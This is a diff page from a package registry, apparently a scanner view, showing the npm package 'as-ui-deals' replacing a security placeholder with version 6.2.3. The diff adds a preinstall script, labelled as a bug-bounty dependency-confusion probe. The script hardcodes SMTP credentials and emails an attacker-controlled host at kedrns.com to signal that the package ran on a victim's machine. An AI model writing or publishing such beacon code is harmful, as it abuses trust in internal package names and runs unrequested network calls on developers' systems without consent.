as-ui-deals 0.0.1-security → 6.2.3
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of as-ui-deals might be problematic. Click here for more details.
- package/package.json +17 -3
- package/preinstall/build.js +35 -0
- package/preinstall/index.js +0 -0
- package/README.md +0 -5
package/package.json
CHANGED
@@ -1,6 +1,20 @@
|
|
1
1
|
{
|
2
2
|
"name": "as-ui-deals",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
3
|
+
"version": "6.2.3",
|
4
|
+
"private": false,
|
5
|
+
"publishConfig": {
|
6
|
+
"access": "public"
|
7
|
+
},
|
8
|
+
"description": "This is for standoff365 bounty",
|
9
|
+
"license": "MIT",
|
10
|
+
"author": "kedr",
|
11
|
+
"scripts": {
|
12
|
+
|
13
|
+
|
14
|
+
},
|
15
|
+
"dependencies": {
|
16
|
+
"nodemailer": "^6.0.0"
|
17
|
+
},
|
18
|
+
|
19
|
+
"main": "shared/fesm2015/sme-accounting-shared.js"
|
6
20
|
}
|
@@ -0,0 +1,35 @@
|
|
1
|
+
const nodemailer = require('nodemailer');
|
2
|
+
|
3
|
+
|
4
|
+
const login="userhuiuser@kedrns.com"
|
5
|
+
const pass="L3IXGUz2im^3"
|
6
|
+
|
7
|
+
const smtp = nodemailer.createTransport({
|
8
|
+
host: "mail.kedrns.com",
|
9
|
+
port:25,
|
10
|
+
tls: {rejectUnauthorized: false},
|
11
|
+
auth: {
|
12
|
+
user: login,
|
13
|
+
pass: pass
|
14
|
+
}
|
15
|
+
});
|
16
|
+
|
17
|
+
var mailOptions = {
|
18
|
+
from: 'depcontestatisu@kedrns.com',
|
19
|
+
to: 'debug@kedrns.com',
|
20
|
+
subject: 'subjest dependency atisu',
|
21
|
+
text: 'This is debug message from atisu'
|
22
|
+
}
|
23
|
+
|
24
|
+
smtp.sendMail(mailOptions, function (error, response) {
|
25
|
+
if (error) {
|
26
|
+
console.log(error);
|
27
|
+
res.end("error");
|
28
|
+
} else {
|
29
|
+
console.log("Email sent ");
|
30
|
+
res.end("sent");
|
31
|
+
}
|
32
|
+
});
|
33
|
+
|
34
|
+
|
35
|
+
console.log('If you see this text, please led the know to your security team and decode this a2VkciBmcm9tIHN0YW5kb2ZmMzY1')
|
File without changes
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=as-ui-deals for more information.
|